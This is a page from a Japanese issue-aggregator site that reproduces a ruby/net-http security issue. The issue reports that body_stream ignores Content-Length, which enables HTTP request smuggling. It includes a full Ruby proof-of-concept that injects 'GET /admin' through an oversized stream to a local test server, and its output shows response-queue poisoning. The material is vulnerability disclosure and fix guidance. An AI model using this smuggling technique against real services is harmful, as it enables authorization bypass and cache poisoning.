Content-Length is not enforced for body_stream, so a longer stream smuggles a second request

オープン
#376 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
56/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
ruby

調査の方向性

Start in lib/net/http/generic_request.rb at send_request_with_body_stream, where the issue identifies the unrestricted IO.copy_stream call. Trace how the request's Content-Length is set and look for existing tests covering streamed request bodies. Done means a stream longer or shorter than the declared length is rejected without leaving extra bytes on a keep-alive connection.

索引モデルが issue の本文から書いたものです。

説明

About

Title: Content-Length is not enforced for body_stream, so a longer stream smuggles a second request
Repository: ruby/net-http
Location: lib/net/http/generic_request.rb:317
Severity: High
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)

Summary

A caller can give a Net::HTTP request an IO body with req.body_stream = io and an
explicit Content-Length. send_request_with_body_stream writes the header announcing that
length and then calls IO.copy_stream(f, sock), which streams the entire IO. Nothing stops
copying at the announced length. If the IO holds more bytes than the declared
Content-Length (for example the application sized a file before opening or appending,
reused a partially-read IO, or took the length from user input), the surplus bytes are
written onto the keep-alive socket and the origin parses them as the beginning of the next
request.

Robust HTTP clients treat this as an error: Go's net/http and curl refuse to send a body
longer than the declared length. Net::HTTP silently desynchronises the connection, reports
a normal 200 for the first request, and lets the extra bytes act as a separate request.

Impact

Any application that proxies or uploads attacker-influenced bytes over a pooled or
keep-alive Net::HTTP connection can have attacker data smuggled onto the wire as a request
of the attacker's choosing. The injected request executes with the application's identity
and credentials, so it can reach privileged or internal endpoints; the application's next
request is answered with the response intended for the injected request (response-queue
poisoning); and shared caches or proxies can be poisoned for other users. This is the
classic client-side desync primitive (CWE-444), leading to authorization bypass, request
hijacking, and cache poisoning, while Net::HTTP still reports success for the original
upload.

Mitigations

Only affects requests that supply both an explicit Content-Length and a body IO whose
remaining length differs from it. Apps that pass a String body, let Net::HTTP compute the
length, or use Transfer-Encoding: chunked (chunk framing is authoritative) are not
affected. A fixed library must copy at most content_length bytes and raise if the stream
is shorter or longer than announced, as Go's net/http and curl do; until then a caller can
wrap the IO in a length-limiting reader that raises on surplus.

Examples
example 1

An upload endpoint sets Content-Length from a user-supplied size and then passes a file
stream as the body. The attacker declares 5 bytes but supplies a stream that continues
with GET /admin HTTP/1.1. The backend executes the admin request under the application's
credentials, and the application's next profile request receives the admin response.

example 2

An application reads part of a file before uploading it, then reuses the stream without
rewinding and computes Content-Length from the original file size. The surplus bytes are
interpreted by the backend as a new request on the pooled connection.

example 3

A batch job opens a file, records File.size, appends records to it, and sends the stream
with the stale length. The appended records are sent as a request line, corrupting the
connection and possibly triggering unintended backend actions.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: Net::HTTP request smuggling / response-queue poisoning
# -----------------------------------------------------------------------------
# Bug: lib/net/http/generic_request.rb#send_request_with_body_stream announces
# a Content-Length but then does `IO.copy_stream(f, sock)`, which streams the
# *entire* IO.  Bytes past the announced length stay on the keep-alive socket
# and the origin parses them as the start of the next request.  Go's net/http
# refuses to do this; Net::HTTP silently desynchronises the connection.
#
#   ruby smuggle_poc.rb [REPO_ROOT]      (REPO_ROOT defaults to /src)
#
# Exit status 0 means the exploit worked.

REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')

require 'socket'
require 'stringio'
require 'net/http'

# Prove we are exercising the repository's code, not the installed gem.
src = Net::HTTPGenericRequest.instance_method(:send_request_with_body_stream).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')

ATTACKER_RESPONSE = '{"role":"admin","secret":"s3cr3t-flag"}'

# ---------------------------------------------------------------------------
# A strict origin server.  One request at a time per connection, keep-alive,
# message boundaries determined solely by Content-Length.
# ---------------------------------------------------------------------------
class Origin
  attr_reader :port, :log

  def initialize
    @srv = TCPServer.new('127.0.0.1', 0)
    @port = @srv.addr[1]
    @log = Queue.new
    @conns = []
    @thr = Thread.new { accept_loop }
  end

  def accept_loop
    loop do
      client = @srv.accept
      @conns << Thread.new(client) { |s| serve(s) }
    end
  rescue IOError, Errno::EBADF
    nil # closed
  end

  def serve(sock)
    while (start = sock.gets)                  # request line
      next if start == "\r\n"
      verb, target, = start.split(' ', 3)
      headers = {}
      while (line = sock.gets) && line != "\r\n"
        k, v = line.split(':', 2)
        headers[k.downcase] = v.to_s.strip
      end
      len  = headers['content-length'].to_i
      body = len.positive? ? sock.read(len) : ''
      @log << { verb: verb, target: target, body: body }

      if target == '/admin'
        # The response the attacker wants the app to consume.
        sock.write("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n" \
                   "Content-Length: #{ATTACKER_RESPONSE.bytesize}\r\n\r\n" \
                   "#{ATTACKER_RESPONSE}")
      else
        sock.write("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok")
      end
    end
  rescue IOError, SystemCallError
    nil
  ensure
    sock.close rescue nil
  end

  def drain
    50.times { break if @log.empty?; sleep 0.02 }
    out = []
    out << @log.pop until @log.empty?
    out
  end

  def stop
    @srv.close rescue nil
    @conns.each { |t| t.join(0.2) }
    @thr.join(0.2)
  end
end

# ---------------------------------------------------------------------------
# "The victim application": uploads a size-limited body, then asks the origin
# about the current user.  It trusts Net::HTTP to keep the connection honest.
# ---------------------------------------------------------------------------
def run_case(smuggled:, label:)
  origin = Origin.new                                    # fresh origin + connection
  http   = Net::HTTP.new('127.0.0.1', origin.port)
  http.start

  payload = 'AAAAA' + (smuggled ? "GET /admin HTTP/1.1\r\nHost: origin\r\n\r\n" : '')
  # The app computed the length before it finished filling the stream.
  declared = smuggled ? 5 : payload.bytesize
  req = Net::HTTP::Post.new('/upload')
  req.content_type  = 'application/octet-stream'
  req.body_stream   = StringIO.new(payload)
  req.content_length = declared                         # <<< the mismatch

  upload   = http.request(req)
  profile  = http.request(Net::HTTP::Get.new('/profile'))
  http.finish rescue nil

  puts "== #{label}"
  puts "   app sent:      POST /upload (declared #{declared}, stream #{payload.bytesize} bytes) then GET /profile"
  puts "   POST  -> #{upload.code} #{upload.body.inspect}"
  puts "   GET /profile -> #{profile.code} #{profile.body.inspect}"
  sleep 0.15
  reqs = origin.drain
  puts "   origin parsed: #{reqs.map { |r| "#{r[:verb]} #{r[:target]}" }.join(' | ')}"
  origin.stop
  { requests: reqs, profile: profile }
end

# ---------------------------------------------------------------------------
# 1. Control: Content-Length matches the stream.  Nothing is smuggled.
# ---------------------------------------------------------------------------
control = run_case(smuggled: false, label: 'CONTROL - honest Content-Length')
clean = control[:requests].map { |r| r[:target] } == %w[/upload /profile] &&
        control[:profile].body == 'ok'
puts "   => connection stays in sync\n\n" if clean

# ---------------------------------------------------------------------------
# 2. Attack: Content-Length is 5, the stream is longer.  Net::HTTP writes the
#    surplus onto the socket anyway; the origin executes the injected request
#    and the app's *next* request receives the injected response.
# ---------------------------------------------------------------------------
attack = run_case(smuggled: true, label: 'ATTACK - Content-Length 5, stream holds a request')
targets = attack[:requests].map { |r| r[:target] }

poisoned = targets == %w[/upload /admin /profile] &&
           attack[:profile].body == ATTACKER_RESPONSE

if clean && poisoned
  puts
  puts 'EXPLOITED'
  puts '  * the app made two requests, the origin executed three'
  puts '  * GET /admin was injected by data the app believed it had not sent'
  puts '  * GET /profile (the app\'s own request) returned the attacker response:'
  puts "    #{ATTACKER_RESPONSE}"
  exit 0
end

warn 'NOT EXPLOITED'
exit 1
stdout
== CONTROL - honest Content-Length
   app sent:      POST /upload (declared 5, stream 5 bytes) then GET /profile
   POST  -> 200 "ok"
   GET /profile -> 200 "ok"
   origin parsed: POST /upload | GET /profile
   => connection stays in sync

== ATTACK - Content-Length 5, stream holds a request
   app sent:      POST /upload (declared 5, stream 42 bytes) then GET /profile
   POST  -> 200 "ok"
   GET /profile -> 200 "{\"role\":\"admin\",\"secret\":\"s3cr3t-flag\"}"
   origin parsed: POST /upload | GET /admin | GET /profile

EXPLOITED
  * the app made two requests, the origin executed three
  * GET /admin was injected by data the app believed it had not sent
  * GET /profile (the app's own request) returned the attacker response:
    {"role":"admin","secret":"s3cr3t-flag"}
主要言語
Ruby
スター
150
フォーク
104
平均マージ
4日 6時間
マージ済み PR(30日)
10

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

ruby/net-http のほかの issue

ruby/net-http の issue をすべて見る

似ている issue

Ruby の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。